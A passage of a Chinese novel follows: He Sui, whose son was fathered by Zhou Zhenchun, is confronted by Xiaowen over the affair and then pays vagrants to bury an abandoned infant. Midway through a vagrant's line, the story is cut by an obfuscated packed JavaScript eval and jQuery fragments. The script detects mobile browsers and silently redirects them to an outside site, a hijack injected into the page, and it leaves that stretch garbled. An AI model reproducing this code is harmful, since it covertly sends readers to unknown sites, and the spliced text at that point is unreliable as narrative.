一旁人家的棚架上,蛛巢张开八卦图形的大网,丝丝蛛丝在阳光下熠熠发光,有只己经苍老的黑蛛,缓缓移动它软弱无力的身躯,它看起来来日无多,它的张网上有无数只蛾虫挂在它身旁,它无动于衷地没有啃食,缓缓移动的身躯停住在自己的张网上。
“够了,你不是在摘菜,是在选金子吧?”
男人对女人说,有点儿不耐烦。
“呀?你这??呆子,摘菜当然要拣好的,那些枯了的、烂了的,摘了又浪费时间又浪费水,还吃坏肚子。”
“你要吃几天啊?”
男人看到女人问。见地上放了有一堆的菜:一把豆角、一堆小白菜、一把西芹和蒜苗。
“你把那些菜拿上去,愿意的话帮我洗洗。留些给老爷爷。”
女人吩咐男人。
“我搞不懂,干嘛不在老爷爷家里吃饭呢?”
“菜太香,让人闻到以为是摆酒席了。你没事以后跟我多来何姐家,过过平民生活。”
“难道吃只鸡也要躲起来吃?”
“这家鸡太香啦,煮起来左右隔壁的人家就闻到了。”
“那就请大家一起吃嘛。”
“你请呀、你请呀,这个呆子,你以为老乡们都像我们家天天有肉吃?”
女人从土里拔一根枯了的菜,甩了甩泥土,故意生气掷向男人,
“你上去,我很快就上来。看你不沾油盐的样子心烦。”
男人把女人放在地上的菜双手抱起来,正要离开时,女人叫住他:
“给点钱老爷爷。你什么也没带啊。”
“一百够吗?”
“够了。何姐开支很大。她爸妈那边也太一般,还有两个弟弟没成家……”
老爷爷拿着锤子,在张小板凳上叮当叮当敲一个小木头上的钉子。
“爷爷,做什么家具呢?“
周振春向前问。
“苏如的小板凳裂了,给她钉正起来。”
“爷爷,我来可以吗?”
“呶。”
老人笑眯眯地递过锤子,周振春接过锤子,把小木头用脚踩住,叮当叮当两下,就把钉子牢牢扎了进去。
“天,你就像打桩。你叮当一声,我心蹦地跳一下,叮当一声,我心蹦地跳一下。”
从屋子里走出来的女人,突然站在年轻男人的身边说。
“我知道你在发什么梦了。”
年轻男人把锤子递给老爷爷,笑着调侃女人。
“发什么梦?你说,你说岀来呀。”
女人追着年轻男人说。
“你干麻不多睡会儿?”
年轻男人对追上来的女人问,俩人来到河边菜地的坡上站定,同时把目光投向菜地里还在摘菜的雪秀。
女人在似睡非睡中的状态下缓过神来,她从昨天晚上一直熬到现在,终于得逞,但未遂其意?,觉得远远没有达到自己预期的境界。
当年轻男人起身离开时,她为自己的凄凉流出了眼泪。她不知道年轻男人有没有体会到自己的无奈与苦闷。
“你走了一会儿,我就睁开眼,走到小阁楼窗前,看着菜地里的雪秀,意犹未尽。”
女人说到这一脸凄凉,她转过脸凝视着年轻男人,恳切地再说,
“下次我要一个通宵。答应我!”
女人禁不住的肩膀抖动着。
“……”
雪秀终于摘完菜上来了,她以为站在坡上的男人和女人是在等着她。
“好了——”雪秀抱着一堆的菜,边走边在坡下大声呼喊。
“雪秀,你家男人欺负姐呀。”站在坡上的女人朝坡下上来的女人喊。
“你打他两下嘛。”
“我打不过呀。咱们一起打他。”
“好。我这就上来。”
坡下的女人高兴地咯咯笑着,坡上的女人挥着拳头,以一种难以言表的心情向身边的男人使劲地捶了两下,再放手跑开两步,哈哈笑了起来,又转到年轻男人身边。
看着自己的女人踽踽而行走上来,年轻男人不动声色地问女人:
“人家说,一些搞艺术的人很色,是吗?”
“是这样的。至少我不否认,因为女人本身就是艺术品。美丽的女人,之所以动人,是因为之美,而艺术的本质就是追求卓越的美嘛。放在女人色帅男人也一样的。”
女人说到这,顿了一下,注视着快要从坡下上来的雪秀再严肃地说,
“所以,弟弟要把喜欢画画的姐看作是一个正常的女人。当然我不算是搞艺术的人,顶多就是兴趣爱好。”
男人走到爬满屋墙前,看着爬满墙上的藤蔓,老爷爷抽着男人给的555牌香烟,以为是男人好奇,就对男人说,他天天看,也就熟视无睹了。
“我是怕夏天有蛇虫,顺着这些藤蔓从窗户上爬到家里去。”
周振春告诉老爷爷说。在冬塘山区,夏季常有长长蛇虫爬到人家家里纳凉,专往人家草席卷起的枕头孔里钻。
“是啊,我倒忘了,冬塘你家那才是真正的山里。夏天有蛇虫爬到家里也就没什么奇怪了。”
老爷爷说,抽了一口烟,再缓慢地说,
“我们这人来人往的,很少有蛇虫。菜地里也好些年没见过了。现在一些人作菜卖,打农药多,毒着呢,把蛇虫都毒死了,外面的蛇也不敢来。”
周振春这时把二百块钱递给老爷爷,老爷爷推辞一番,还是收下了。
“给这么多,可以买好几只鸡了。”
何穗走过来,望着年轻男人,说,
“是不是以后不来了?雪秀是不是?”
她转过头,朝坐在小板凳上正在拣菜的雪秀问。
“我管不了他。”
雪秀抬起头,望了望老人手上捏成卷的钱,再看一眼周振春,再说,
“他对钱没概念。从小到大,不过他从不乱花钱。”
“雪秀,你这完全是当妈妈的口气啊!经过风霜雨雪,终于守得云开见日升。你让姐好激动!”
何穗一下抱着雪秀,趴在她肩膀上抽泣起来,
“看你今天这么幸福,姐姐激动得不行!”
何穗突然激动的样子,雪秀一点也不惊奇,她揽着何穗说,
“姐,你就是太好了!”
对站在一旁的男人来说,看着姐姐一样的女人抱着妹妹一样的女人的啜泣,心中陡然涌起一种无力的沧桑感。
学校传达室的老姜骑着单车,急匆匆地过来,他告诉何穗说:
“何老师,刚才长河有你的电话,让你晚上和周弟弟打个电话过去。”
“周书记打来的?”
何穗立马反应过来,看着周振春问。
“是我爸打来的。”
年轻男人点头肯定。
“是她催你回去了?”雪秀目不转睛看着男人,把手中的菜,撒落一地。
5. 第五章
白花花的大雪,漫天纷飞,到处朦朦胧胧的,远近层次分不清,给人以布满空间的感觉。下午快要放学的时候,一个年近四十的中年男人把何穗从学校里引出来,来到校门口的轿车旁边,打开车门,让她坐到车里。
中年男人是县委派给小文的司机。
小文缩着身子,一直坐在车里。何穗躬身坐进车里后,小文朝坐进来的何穗看了一眼,问:“冷吗?”
“有点。呀,车里好暖和。”
何穗轻松愉快地回答小文。
小文默不作声打量了一会儿何穗,便把头扭向窗外,板着脸,一副神情淡漠的样子。
“今天下大雪,小文你正好碰上。”何穗坐到车里,愉快地对身旁的小文说。
“正好让我碰上了?我也想碰到的只是好事情。”小文声音冷冷的,话语满含深意。她望着窗外,对坐在身边的何穗视而不见。
小文这副突如其来冷冰冰的样子,让何穗一下很尴尬。她瞄了小文一眼,见小文紧锁双眉,翘着下巴颏儿,脸色也是冷冰冰的,便不再言语。她心里想一定是小文遇上什么不高兴的事情了。
小文把她自己的一双手插在衣袋里,紧紧裹着厚厚的羽绒服。她压根儿就没有要与何穗握手的打算,更谈不上象以前那样来与自己搂抱亲热取笑了。
车子驶离校门口后,立刻被纷飞的雪花笼罩着。小文还是用围巾把自己的头脸严严实实地捂住,一如二十年前去牛家塆相亲的那副模样。
周振实在乌浟时,她们俩十天半个月,会有一次见面,互相在对方家里吃饭,俩人一起买菜下厨,孩子们也一起玩。这样的情形并没有随着周振实从公社武装部长、公社书记、县委主任、县长县委书记地位的上升改变,她们一如既往保持情同姐妹的亲切关系,相处融洽随和,无话不谈,完全可以推心置腹地交流。
每次的见面都像是一个值得铭记在心的喜庆日子,大家心情舒畅。
自从五年前振实调任西山市长后,他们一家搬走就很少来往。上一次见面是三年前,何穗去西山找振实为老赵申请抚恤补助的事,还是自己主动向前招呼,但小文回应她的眼光很冷淡,也没什么话说,到了吃饭的时候也没来。
她不知道是怎么伤了小文的感情。她想打电话问雨秀,但又不知道怎么开口。二十年前雨秀去部队后,她和雨秀几年难得见一次面,人也开始生疏起来。现在的雨秀,不知道是住在国内还是国外。雨秀这些年没有来冬塘,上次见面还是七年前赏枫叶红的时候。
就是那一次见面,雨秀对自己显得非常客气。她的这个越来越客气的样子,让何穗觉得反而变得越来越陌生。
她们之间随着地位的差异,不同的身份,或者说是不一样的生活方式,完全可以用“咫尺天涯”来形容。何穗感到自己再也不能像以前那样她们一起亲密无间了。
何穗心里明白,随着周家地位日隆,她们之间的差距越来越大。如果稍有什么隔阂,恐怕以后再不会有见面的机会了。
“你是从西山还是从香港过来的?”
何穗似乎要缓和俩人之间僵硬的气氛。她开口问。
“从香港,昨晚到的。”
小文的回应还是那副儿冷漠劲。小文这副冷漠劲,让何穗缄默下来。她端端正正地坐着,把头转向自己这边的窗外,望着窗外纷飞的雪花。
周家“振”字辈的女眷和他们的小孩,都以周振春的万柯集团公司投资移民到了国外发达国家,女人们负责在国外生育小孩,男人们则留在国内作官开公司。他们都有三个四个小孩。小文和雪秀细秀虽是选择移民欧州北美,俩家却一直在香港居住。小文和振实是俩个女儿和一个儿子。
俩个女人默默地坐着。小文一会儿耷拉着脑袋,打起瞌睡来。她神情恍惚一脸憔悴,似乎昨晚一夜无眠,人看上去比三年前瘦了很多。
小文对自己这副冷漠的态度,让何穗努力寻找自己与小文之间是否存在什么积怨。
在自己四十二岁的人生过程中,自己的生活坦荡磊落,没有什么有负于他人的事情。如果有,那就是七年前与周家一个年轻的男人生了一个小孩。
七年前赏枫叶红,在牛家塆与年轻男人共度良宵的那天晩上,女人怀孕了,一年后,诞下一个男婴,女人思虑再三,给孩子取了一个叫“何思塘”的名字。
女人很庆幸自己和年轻男人有一个共同的儿子。如今这个孩子在读小学一年级,今年秋已满七周岁。
随着孩子一天天长大,一些人议论孩子长相,孩子长相酷似周家的男人。熟悉她和周家的人背地里也都这么说。
何穗下意识地感觉到一定是与自己的儿子思塘有什么关系,让小文找上门来。她自己也有耳闻一些人说儿子长得像周家的人的传言。这些传言本身也证实了自己内心的秘密。
现在这么多年了,以周家在乌浟盘根错节的关系,恐怕早已有人告诉了她们,即使没有人告诉她们,以周家的声望,西山与乌浟这么近的距离自然也有所闻,由此引起周家女人的猜疑、派人侦查也是在意料之中的事情。
何穗生思塘的时候,不是以产假的名义请的产假,而是以阑尾炎手术为由请的病假。儿子何思塘是计划生育外生产的,籍以用她弟弟的名义收养远房亲戚的孩子落的户口。从生小孩到落户,这一切都是有赖于身边这个女人的丈夫、当时乌浟县的县长周振实暗地里的庇护。
何穗已经有了二个女儿,作为女人,她只想有一个儿子,她觉得并不过分。她藐视世俗的陈规陋习,也没有象大多数普通人一样循规蹈距地去生活,可又不得不在它们之中委屈求全。
现在对坐在自己身边的这个女人可能会发问,她在心里面问自己,自己的生活还算是光明磊落吗?
何穗默默地想着自己的心思,望着车窗外白色茫茫的雪花。她用手把颈上的围巾松了松,这车内的暖气有点热,与冰天雪地的外面简直是二个完全不同的世界。
车子驶离校门口后不远,上了一条小坡道,向左拐进乌浟大街,经由乌河大桥的沿河路直奔县宾馆而去。
车驶入宾馆院内,直抵宾馆大堂门口停下来,司机抢先下车替小文开了门。
现在的小文已不再是当年躲在何穗身后那个畏畏缩缩的小姑娘,完全是一副贵夫人的样子。
她上着带毛领橘色羽绒棉服,下着深蓝色的长裤,头上是一顶羊毛呢小盆帽。脖颈上围着又宽又厚的红色羊毛围巾。全身上下衣着光鲜亮丽,都是名牌。
身着红色西服的服务员笑容可鞠地迎上来,彬彬有礼朝小文喊了一声“文局长”,再鞠了一躬,伸长手做一个请的姿势,把她们领到一个房间门口,替她们开了门。
小文未出国前,在乌浟担任过一段时间的卫生局局长。宾馆里的工作人员还是按以前的称谓称呼她。
房间显然是刚刚布置一新,台上摆有鲜艳的塑料花,水果盘上堆满了各种水果,花生瓜子饼干糖果盒子,则放在水果盘的一旁。靠墙摆放着二排敦实的咖啡色布沙发,每张沙发前面都置有一张小小的茶几。
这只是一个客厅,隔壁才是睡房。何穗来过几次,知道这样内部接待的房间,是专供上级领导来视察工作作招待用的。就级别来说,在乌浟是最高级的。
周家的人回乌浟都是住在这。住的最多的是周振实。从公社武装部长到现在西山市长,二十几年间他在乌浟任职时间最长。在任职乌浟县长和书记期间,他把宾馆这样的房间又扩建了几间。住得最少的可能是地位最高的周瑞年和周振春了。周瑞年上调西山□□再到□□直至现在京都上书房大臣,就很少回乌浟了。他上次携子孙回周家牛家塆老宅团聚也过去快七年了。
何穗在靠近屋角一张沙发里坐了下来。这种场合在与周家这些年的交往中,她懂得一些。官场上尊卑有序等级森严。光亮的地方那些沙发是留给比自己身份高贵的人的位置。
女服务员替她们沏上茶,端放在她们面前的几上,退了出去。
小文态度冷漠,何穗等待着她的开口。她想不管小文问什么为难的事情,自己都得有礼貌地回答。
小文一声不响地从包里拿出一沓相片,摊开放在何穗面前的几上。
“我想你应该知道我找你什么事了。这是你与他一起偷偷摸摸的事情。你先看看哪儿不对。”她一开口就这么冲着何穗说。
怒气冲冲的小文,说完这句话,长长地吁了一口气。她的这副神情,一定是这件事情在她心里面弊得太久了。
这些相片也是经过长时间而得。小文为了察明真相定必是费了很多的时间和精力。
“……”
尽管何穗事先猜到与儿子思塘有关,但当小文把一沓相片摊开在自己面前时,她还是噎得一时说不话来。
她愣了一会儿后,回过神来,把相片一一看了。相片上注明了时间地点,也是几年前至现在自己去找周振实的行踪。自己被人跟踪了好几年了。每次她与周振实市长一起,都拍了下来。而她对这一切毫无所知。
“竟有这么一个孩子,长得那样像是我们周家的人。外面那么多人都在说,你不会不知道吧?现在我问你,你们什么时候开始的?”
小文目光注视着何穗,语气咄咄逼人。
“我是找周市长办事,这些我有些事先都跟你说过的。你应该知道。小文,你不应该这样怀疑我。”何穗平心静气地回答。
“这有相片摆在眼前,你们小孩都七岁了。你叫我说你什么才好。从小到大我待你不薄,一直把你当姐妹,你却这么对我?”
“怪不得你对我一下冷淡起来。我可以告诉你,我跟周市长之间是清白的。”
何穗看着小文以坚定的口气说。
“你愿意让你儿子去作基因检测吗?”
“你不在乎周市长的名誉,可以。要是不是的,你打算怎么样?”
既然没有扯到自己那个年轻的男人身上,何穗也理直气壮起来。
“……”
小文顿了一会儿,何穗这么理直气壮的样子,让她对自己的判断产生了怀疑。
她注视着何穗,缓解刚才激动的情绪,还是一字一句地盯着何穗问:
“你那个叫何思塘的儿子他虽然姓何,可他的父亲不是姓何。我可以肯定,你孩子上户口上的资料都是假的,如果这孩子不是他的,他会冒风险给你的这个孩子上户口吗?”
小文这么一问把何穗问倒了。刚才路上她没想过这个问题,也没容她来得及去想。
她愣住地看着小文一会,把脸转向一边。
尽管自己把平时的日子过得小心翼翼,最终还是无济于事,现在唯一的是坦然承认。以周家的势头,隐瞒不了事实,自己再怎么也掩饰不了;还有她对这个曾经情同姐妹、现在瞪着眼面对面质问自己的女人的了解。
何穗恢复了平静,鼓起勇气,面对咄咄逼人的小文,告诉她说:
“他是春子的。”
“……?”
这下轮到小文愣住了,她呆呆地望着何穗,一时无语。
“天哪?”
小文好久才倏地叫了一声,“……真没想到!真没想到竟然是周振春……我们春子的。”
何穗垂下了头,把脸偏向一边。她紧闭着嘴唇。
“这叫我们周家的脸面丢在哪了?这种事,你也干得出来?”
小文声音低沉,显得更加嘶哑,
“连春子都不放过!他可是一直把你当作姐姐,你这么做对得起雪秀吗?外面那么多男人,你干嘛偏要找我们周家的男人下手?而且还是春子?”
小文快嘴把话说完,一下嘤嘤地哭了起来。
周振春虽说是自己堂弟,但他一直把自己的丈夫周振实和大堂哥周振岩俩位堂兄弟视为亲兄弟,现在这俩位堂兄弟的子女在万柯公司的股份、周振春也是按亲兄弟的子女一样数额赠予。
小文知道,一旦外面的女人跟周振春沾上关系有了小孩,将意味着什么。
“我宁愿春子是跟其他女人,都不要是你。你们什么时候的事?”
小文哭哭啼啼地问。
“那年赏枫叶的时候。”
“难怪云子给你弄了一间房。你太欺负我们周家的女人了。我告诉雪秀,让她来收拾你。”
“你要告诉雪秀,春子会恨你。”
何穗瞄了一眼小文,垂下眼帘,壮着胆子低声地回了一句。
“还有雨秀、细秀,看你怎么耍滑头面对。”
小文想起柯家俩个厉害的的姐妹。
“春子会恨你。”
何穗再低声地回了一句。
小文迟疑了一下,何穗说得不无道理。她只好用微微颤抖的手,指着何穗:
“你这个不要脸的臭女人,你把春子玷污了。”
“是的。我把春子玷污了。这事跟周市长没有关系了,我得走了。”
何穗被小文这么一骂,反而觉得不在乎她起来。现在自己把该说的话都说了,事情已经明朗,再坐下去只有被人挨骂遭人诟病的份儿。她站起身就往门口走。
但小文还在气头上:“你很无耻。我和雪秀雨秀当年眼睛瞎了,和你这个不要脸的女人作姐妹。别以为跟周家男人生了孩子,就把自己当成是周家的女人,告诉你,你永远别想踏进周家的门。”
“我从来就没想过踏进你周家的门。”
何穗硬绑绑地回了一句。
小文被理直气壮的何穗气得全身发抖,她气急败坏地指着何穗:
“你只配往垃圾堆里捡男人。春子他是不小心踩了一脚狗屎,你别以为他就是你的男人了。无耻之尤。”
不待何穗回嘴,小文劈头劈脑又一顿斥骂过来,“从今天开始,我会跟周家的男人打招呼,离你远一点,也希望你识相一点。怪不得一个三只手一个一只手。”
小文说的三只手是何穗第一个有盗窃行为的丈夫,一只手是现在的丈夫断臂老赵。
这话让何穗感觉一下脑门热浪冲顶。她一时心塞说不出话来。她转回头,让自己背靠门槛,好久才用毫不示弱的语气,盯着小文狠狠地说:
“文小尚,你……这么侮辱我?你要让你……这句话付出代价的。”
她说完,立马转身夺门而出。
“用围巾把脸捂住。”
从屋子里传出小文一句话来,“不要让人看你的哭丧相。”
何穗听到这句话,甩头故意把脖子上围巾扯开,一看大堂站的服务员,个个朝这边望过来,还是赶紧把围巾捂着脸。
她一走出宾馆围墙外面,让冷飕飕的寒风一吹,不禁打了个寒颤,感觉透心冰凉,想起刚才的一番屈辱,不禁流下眼泪。
这时候纷纷扬扬的雪花,白茫茫的天地间漫无边际。
“何老师,文局长让我送您。”
刚才那台接她的小轿车在她身边停下来,司机伸出头朝她喊。
从改革开放时起,乌浟就有了外来务工人员。在这一片丰饶的土地上,经济改革的大潮日新月异。
随着改革开放的深入,冬湖国家森林公园旅游业的兴起,乌浟城各种各样的建设,越来越多的人来乌浟谋生,乌浟成了文化产业经济发展的模范小城。
如果说冬塘是天堂,乌浟就是圣地。
一些外来的务工人员在乌浟轻松地揽活解决了温饱问题后,把赚到的钱寄回家人,让家人生活得更好了,他们也把自己的四邻八乡的人一起带来。其中一些慕名而来,投靠无门还没找到事做的外来人员,成了乌浟街头巷尾的游浪汉。
这些长期处于无业状态下的流浪汉,终于沦为职业的乞讨者。
这些流浪汉他们在城郊的山林、空置的厂房、桥洞下,用木板胶皮和铁片搭起茸房作为栖身之所。
这里靠近大桥,新拓了一条很宽的公路。学校与何穗家有一条近距离很直的小巷相通,
平时出门回家,何穗根本不会往大桥方向这边的道上走。
大桥的位置既热闹又冷清。大桥市区这一侧,饭馆餐饮店杂货铺林立;另一边靠山的地方,是茫茫的山林,暗黑冷寂。这里的桥洞成了流浪汉理想的居住地。
她告诉司机说是在大桥前路边一家店铺的位置下车。她不想让人看到自己是坐着小轿车回家。司机把车在杂货店前停了下来,让何穗下了车。
“行行好……”一个满脸皱纹的流浪者,伸出只僵硬的手端着只破碗,冷不丁跪倒在她脚下,费劲地抬头看住她,口中不停地说,“行行好……好心人、行行好。今天翻遍了所有的垃圾桶,都没有找到一点吃的。行行好……”
这是一个瘦骨伶丁的老人,他苍白的脸上显露出一副病态。何穗从自己的挎包里,掏出五毛钱给他。
“今天又有一个女娃,丢在垃圾桶里。”
流浪汉接过她的钱,起身指着旁边一个垃圾桶,告诉她说,在垃圾桶里发现一个死婴。流浪汉过去几步从垃圾桶里面提出一个布包出来,再走到何穗跟前,“什么样的人?把死去的孩子往垃圾桶里扔,多可怜啊。”
流浪汉大声地说。他把裹在死婴小小脸上的布掀开。
由于雪花的模糊,使得孩子的脸变得灰暗沉沉的,看不清她的真实面貌。
其实何穗根本不敢向前去看。
她在惊慌之余伫立着,不知所措,惴惴不安地望着布包里的死婴,感觉害怕,死婴似乎裸露出来一张紫色的小脸。
何穗想装作若无其事地离开,但双脚不听使唤,迈不开步子,似乎有什么把她的脚绊住了。而且她头脑里潜意识地告诉自己,如果就这样离开,自己恍如作了一桩谋杀案,成了案犯的凶手。
“又是个姑娘。唉。”
流浪汉叹口气摇晃着脑袋说,他转回身再把死婴塞进垃圾桶。
“这怎么能行?”
何穗嗫嚅道。以前她只是听说,但现在让自己遇见,她慌张得牙齿开始打嗑儿,可以听到上下牙齿的叩击声。襁褓里这位失去生命的女婴,让她心情无法平静下来。
弃婴累见不鲜并不是什么让人惊讶的事情,这些都是外地务工人员,在计划生育外的指标一生下来就被遗弃的女婴,这种事情不少人在议论纷纷。开始某些机构还会出面了解情况,再把弃婴的死尸埯埋,后来时间一长多了起来,也就听之任之了。
她努力让自己平静心来,觉得自己应该为刚来到人间还未睁眼的弃婴,做点什么。如果有所谓的灵魂的话,就算拯救她的灵魂。
在瑟瑟凛冽的寒风中,她似乎看到孩子的那张小小的脸正朝着自己乞求,去安息她的魂灵。
“瞧这个身子浑圆,胖胖的样子,头发又浓又黑,是个大眼睛的女孩。如果长大,会是一个很结实的姑娘。她到底是谁家的孩子呀?怎么忍心?”
何穗一听流浪汉这句话,眼泪夺眶而出。再没什么比“如果长大,会是一个很结实的姑娘”,让她更伤心了。自己年轻的时候,很多人拿这句话来欣赏她。
“我拿钱给你去掩埋,好吧?”
“遇上你这个大善人,也算是这孩子的福气。我也让自己积点徳。我还有什么好说的。”
老流浪汉脸上笑得堆满了皱纹,他高兴地一口答应。
何穗赶紧从包里掏出二十块钱,递给流浪汉。
“我回去拿锹。”
流浪汉接过钱,转身向桥洞走去。
“等等。”何穗叫住流浪汉,“你跟我去小店要个纸箱吧。”
“我不能过去。人家看到我会不高兴的。”流浪汉讪讪然告诉她说。
汽车通过这里,溅起的雪花飞扬,笔直的道路两边的房屋由于铺上了厚厚的积雪,在即将到来的冬夜,显得非常阴沉。这时候的雪已经慢慢地稀稀落落起来。
何穗在路边的店铺,买了一条大毛巾,再向店主要了一个大一点的纸箱。
流浪汉去桥洞拿来一把铁锹,后面跟着一个拿铁锹的人来,这流浪汉比他稍微年轻。
“他有经验,会挖坑。”
老流浪汉把拿铁锹的流浪汉带到何穗面前,对她说。
“坑要挖深一点。怕狗刨出来啃。”拿铁锹的流浪汉,告诉何穗说。
“好。那就谢谢你了。”何穗说。
“上次人家给了十元。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199089|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如果你再给一点,我会把坑挖深一点。这下雪天,土硬得很,得费很大的力气。今天一天也没吃什么东西。”
拿铁锹的流浪汉动了动铁锹,又说。
大地在颤抖,山峦在悲鸣。
何穗完全被恐怖和哀伤的情绪笼罩住,她又掏出十块钱给了他。俩个流浪汉把裹着弃婴的布包再从垃圾桶里提出来,用新买的毛巾包住,装进纸箱里,提上山。
看到这一幕,何穗的心都碎了,止不住的眼泪哗哗地流出来。
但愿这个已经僵硬的弃婴来生可以降临在另一个世界,那儿没有毁灭他人生存的罪恶,没有所谓的用来束缚人的主义与禁锢人的真理,那儿没有人与人之间的凶残与歹毒,那儿不会遭人遗弃。从生命的诞生直至生命的终结,在此过程中任何生命的存在不分贫富与尊卑,都充满着幸福和快乐,每一个生命像是接受阳光和雨露的花儿一样竞相开放,像是深山老林里的草木自由地生长。
何穗远远地看着他们做完这一切,赶紧走开。前面的店铺主突然冲她喊了一声“何老师”。
“你是何老师吧?我认识你。我有个小孩在你学校上学。你刚才在做好事吧?”
店铺主、一个壮实的中年男子走过来对何穗说。
何穗点了点头。
“我跟着过去看了一下,是他们这些人。”
“怎么啦?”
“这些人净干缺德的事。”
“……”
“一会儿等你走了,他们又会挖出来。他们埋了挖,挖了埋,就等着好心人给钱。”
店主愤怒地说,“一直到腐烂了,才算完。”
“这……这种事情怎么能干得出来?”
“他们这些人什么事情干不出来。”
何穗伫立在风雪中,目光在山林与桥洞之间来回,耳边响起大雪过后的风鸣声。大地白雪皑皑,天色昏暗阴沉,冬夜渐渐来临,附近远远近近的道路上亮起了路灯,一些高楼上广告牌的霓虹灯闪烁不停,它们不时地变化着五彩缤纷的颜色。
“有什么方法可以阻止他们吗?”
她朝店铺主问。
“要是、给多一百元钱的话就可以。”
“这样……”
“不可以报警吗?”
“这些人不好管。再说这么一点小事警察也不会管。”
“……那好吧。”
何穗犹豫了一下,答应了,她转身朝流浪汉走去时,店铺主对她说:“你就站在这里,这天寒地冻的,你一个女人家。我过去给他们说。我在这里开店,可以天天看住他们。如果他们敢挖,我就找人把他们全部赶走。”
“那就谢谢你了。”
何穗掏出一百元钱,递给店铺主,点头致谢。
店铺主接过她的钱朝流浪汉住的桥洞走去。
何穗还是跟了上去,她不放心。第一个桥洞紧贴山崖,这里是属于一个避风挡雨的暖和地带。
在这座桥洞里,每到冬天都会聚集从四面八方赶来一些流浪者,他们拥挤到这个可以为他们挡风御寒的地方,抱团取暖。在这里他们将度过一个冰天雪地的冬季。这座桥洞对于他们来说是他们贫困潦倒的栖身之所。
桥的边缘飘忽着雪花。岁月在这里变得比冬夜的天空更加昏沉阴暗。可能世上任何的东西在这里都会让人感觉丑陋不堪,并由此从心底滋生一种罪恶感。
店铺主推开纸片门,一股霉变腐烂掺杂着各种沤臭浑浊的气息,扑鼻而来。这种让人呕心的气息像是从污秽不堪的窟窿里散发出来,让人感觉难受。
这昏暗的桥洞里有人用夹杂着各种方言的说话声音,和奇怪的呻呤声,处于睡眠状态中人呼吸的鼾声。
店铺主告诉何穗说这里面不足十平米的空间,挤满了十几个人。
“二十一个了。前天死了一个,搬进来二个。他们是父子俩。”
刚才那个拿铁锹的流浪汉走过来纠正店铺主的话说。
他往一旁的阴暗角落里指了指。这时昏暗的洞里响起悉悉卒卒的声音,流浪汉们从各自的被窝里爬出来。见店铺主何穗他们两手空空,又缩了回去。
“我已经躺了五天,总是感觉不太对劲。”
有人奄奄一息地说,“外面冷,没什么人……给点吃的,就好了……要不,估计熬不过年底。你们来看我们总要给点儿什么?”
有人用电筒照着那说话的人,凭借昏暗的光线只见他躺在地上一角,身上盖着拱得老高的很多层被子,仰着头喘气,发出那哮喘病人尖声的哮呜。他或许活不过这个冬天——也许这几天就是他生命的临终前——甚至是今天晚上或是明天。昏暗的照明中这人一脸黝黑,看不出他多大的年纪。
这桥洞里确是是以人在盘踞,但他们却是以非人的状态下在生存。在这里,任何非人的世界都可以成为人的世界,诸多背德的事情都隐藏在这样的阴暗的角落里。
目睹这一切,想起他们刚才对弃婴罪恶的行为,怀疑他们的是否还存在人类的感情,还有本身具有的亲情和所谓的爱。
何穗和许多乌浟人一样,遇见流浪汉会施予一毛二毛钱或买一点食物放到他们面前。流浪者从外地四面八方涌来,几乎遍布乌浟大街小巷,这几年一直沿续着。没完没了施舍,已经让乌浟人产生厌烦的感觉,甚至还掺杂些嫌恶。
她知道,在这种冰天雪地寒冷彻骨的夜晚,那些丰衣锦食,在温暖舒适的环境下接受人们恭祝和尊敬的高贵人士,是不会体会这些饥寒交迫贫困潦倒的流浪汉。这些贫困潦倒的游浪汉,在生命最后的奄奄一息中,只能可悲倒地而死。
他们之中隔不久就会有人在贫困潦倒中死去,剩下的这一部分活着的人会继续在贫困潦倒中度日。他们已经摒弃了做人的基本伦理,道德和良知在这里荡然无存;人类社会所谓的美好和幸福在这里变得遥不可及,甚至是荒唐可笑。
任何感情丰富的人一旦沦落于此置身其间都会变得麻木不仁。
在这里,也许生与死之间并没有明确的界限,生就是死,死就是生。
想起被他们折腾那个襁褓中的死婴,何穗由同情变成气愤。
这时候店铺主把刚才何穗给的一百块钱的钞票举在手上,对昏暗中的流浪汉们说:
“这是大姐给你们一百元钱。不要再去山上把小孩挖出来了。”
“再多给十元钱吧。现在住了二十一个了。”刚才那个拿铁锹的流浪汉说。他是这些流浪汉的首领。
何穂再掏出十块钱,给了他。然后她朝他们从紧闭的嘴唇迸出话来:“你们不要再把小孩挖出来。如果真要是追究你们,这是犯罪。你们还想留下来的话,我希望你们可以靠乞讨为生,不要做这样很缺徳的事情,尤其是这样让人寒心的事情。你们当中也有自己的孩子,你们想想做这种事情,良心上过得去吗?”
“你是什么人哪?”一个流浪者用不高不低的声音发出质问。
“我是老师。我的学生当中,他们的父母干什么的都有。我只要跟他们说出去你们的事,你们就得离开这里,要不我也可以带我的学生来,看看你们,告诉他们你们做的事情。”
“你给了钱,就不会了。我们这么做,也就是想讨多两个钱。”
刚才那个拿铁锹的流浪汉说。
“我们不敢了。你也给了钱,再也不会去挖了。”有人用嘶哑的声音从阴暗的角落里回应。
“不要以善的名义去行恶,尤其是做这样伤天害理人神共愤事情。”
何穗最后说出一句。
得到流浪汉们的应承后,何穗和店铺主离开了桥洞。
“何老师,大家都说你是个好人。今天我亲眼所见,真的很受教育。这桥洞那边,我从不让孩子过去。”
店铺主有点感动的样子,对何穗说。
“你看到怎么不制止?”
“我说他们几句,他们就在我店门口逛悠,挡我的生意。我是下岗职工,也是没办法才在这儿开个小店。”店铺主告诉何穗又说,“以前店铺主受不了他们,就把他的店铺转让给我。刚接手还不到半年。”
“现在人心变坏了。我现在才知道为什么这些人会让人嫌恶。”
何穗说。在这彻骨寒冷的阴暗角落里,还隐藏着多少不为人知的罪恶,他们还会做出什么让人齿冷的勾当。
想到这些,一种愤懑的哀伤便涌上心头。
有人说,贫穷和罪恶就像是一对孪生兄弟。即使否认贫穷不一定是罪恶,但现实生活中往往是:贫穷与罪恶紧密相连。假如人世间人人都丰衣足食,生活富裕,相信弃婴的事件就不会发生,这些流浪汉也不会存在,人与人之间相互斗争互相残杀的事情也就不会有。
